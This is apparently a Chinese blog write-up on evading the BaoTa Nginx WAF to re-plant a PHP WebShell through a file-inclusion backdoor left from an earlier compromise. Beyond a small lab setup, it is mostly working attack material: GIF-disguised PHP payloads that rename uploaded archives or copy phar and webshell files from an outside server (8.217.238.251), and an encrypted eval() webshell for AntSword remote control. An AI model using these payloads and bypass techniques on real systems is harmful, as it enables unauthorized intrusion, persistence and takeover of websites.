宝塔 WAF 绕过与 WebShell 再植入
宝塔 WAF 绕过与 WebShell 再植入
摘要:在目标站点部署宝塔 WAF 的情况下,初始 WebShell 被管理员清除后,通过分析 WAF 规则与上传逻辑,利用混淆与文件包含绕过检测,实现 WebShell 再植入与稳定权限维持,成功重新获得站点控制权,在第一次getshell的时候,已经预留了文件包含后门
环境复现
- Ubuntu 22.04
- 宝塔面板 11.0
- Nginx免费防火墙 —— 明国三年一场雨
- 安装宝塔面板
1 | wget -O install_panel.sh https://download.bt.cn/install/install_panel.sh && sudo bash install_panel.sh ed8484bec |
安装
lnmp安装
Nginx免费防火墙添加站点
192.168.23.139部署
upload.php和include.phpupload.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
// 安全文件上传示例
// 适用场景:图片/文档上传
error_reporting(E_ALL);
ini_set('display_errors', 1);
// 配置
$upload_dir = __DIR__ . '/uploads/'; // 存储目录(可放在网站根目录外)
$max_size = 5 * 1024 * 1024; // 5MB
$allowed_ext = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'gz']; // 允许扩展
$allowed_mime = [
'image/jpeg',
'image/png',
'image/gif',
'application/pdf'
];
// 确保上传目录存在
if (!is_dir($upload_dir)) {
mkdir($upload_dir, 0755, true);
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!isset($_FILES['file'])) {
echo "没有检测到文件。";
exit;
}
$file = $_FILES['file'];
// 检查上传错误
if ($file['error'] !== UPLOAD_ERR_OK) {
echo "上传错误代码:" . $file['error'];
exit;
}
// 检查大小
if ($file['size'] > $max_size) {
echo "文件过大,限制为 " . ($max_size / 1024 / 1024) . " MB。";
exit;
}
// 检查扩展名
$ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_ext, true)) {
echo "不允许的文件类型。";
exit;
}
// 检查 MIME 类型
// $finfo = new finfo(FILEINFO_MIME_TYPE);
// $mime = $finfo->file($file['tmp_name']);
// if (!in_array($mime, $allowed_mime, true)) {
// echo "文件 MIME 类型不被允许。";
// exit;
// }
$mime = $file['type'];
if (!in_array($mime, $allowed_mime, true)) {
echo "文件 MIME 类型不被允许。";
exit;
}
// 生成随机文件名
$new_name = bin2hex(random_bytes(16)) . '.' . $ext;
$target = $upload_dir . $new_name;
// 保存文件
if (move_uploaded_file($file['tmp_name'], $target)) {
echo "上传成功!文件已保存为:" . htmlspecialchars($new_name);
} else {
echo "文件保存失败。";
}
}
<!-- 上传表单 -->
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>文件上传</title>
</head>
<body>
<h1>上传文件</h1>
<form method="post" enctype="multipart/form-data">
选择文件:<input type="file" name="file" required>
<button type="submit">上传</button>
</form>
</body>
</html>include.php1
2
3
4
5
6
7
8
9
10
// 这是一个专门用来学习文件包含漏洞的靶场示例
// 千万不要在真实服务器上用!
$page = $_GET['file'] ?? 'includes/header.php';
include($page); // 漏洞点
echo "<p>Main content of the page.</p>";
include('includes/footer.php');
漏洞利用
方法1
1 |
|
index.php
1 | gif89a |
phar打包后,gz压缩
1
2
3
4├── phar.php
|
└── src
└── index.php上传
test.phar.gz压缩包,也可以上传到自己的服务器上等待拉取
上传一个辅助文件,用以把
27efb802dc38195ced9ab5fe853caea3.gz重命名为xxx.phar.xx1.gif1
2
3gif89a
(`rename`)("./uploads/6d3cf030d028eedc275180222a1cedc8.gz","./test.phar.gz");//aaa
//<?=('copy')("http://8.217.238.251/test.phar.gz","test.phar.gz");//aaa
文件包含
这个时候已经开始报错了,原因是:
copy()可以用,是因为它是 纯 PHP 内置函数,而你之前尝试的rename或反引号方式 要么语法错,要么依赖 shell。gif89a Fatal error: Uncaught Error: Call to undefined function shell_exec() in /www/wwwroot/192.168.23.139/uploads/2f9568cab9f3267984be16383b2f4a7c.gif:1 Stack trace: #0 /www/wwwroot/192.168.23.139/include.php(6): include() #1 {main} thrown in /www/wwwroot/192.168.23.139/uploads/2f9568cab9f3267984be16383b2f4a7c.gif on line 1
但宝塔waf,似乎并没有过滤 rename ,于是
1.git1
2
3gif89a
rename("./uploads/6d3cf030d028eedc275180222a1cedc8.gz","./test.phar.gz");//aaa
//<?=('copy')("http://8.217.238.251/test.phar.gz","test.phar.gz");//aaa成功include
copy 是完全可以的
蚁剑 webshell 连接

方法2
部署远程
8.217.238.251的webshell文件,在需要时拉取到目标服务器1.gif
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19gif89a
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCWg4Yv+rwuqau9pS3wKCrpzxny
c66WptRSAqB166HZgYYXHOKNYEMiUPTdJKuuE7ZnTBG9A6a+oNf8w0xNyIu2vOQI
uNBvkoP5Vf+1egsLvMoyQufXajHgc88Dwf8yvIYxJ2tb/Qh1kzJxy9zXPOL1rLfr
KPl91y263kk70QZUiwIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
eval($cmd);- 也可以直接上传
方法1中的test.phar.tar
上传的 “个人头像” 等
1.gif
1
2
3gif89a
('copy')("http://8.217.238.251/1.gif","1.gif");//user
//<?=('copy')("http://8.217.238.251/test.phar.gz","test.phar.gz");//user
文件包含
1
include.php?file=./uploads/b3981476264707e0e0f40d9da2200ae8.gif

尝试远程连接

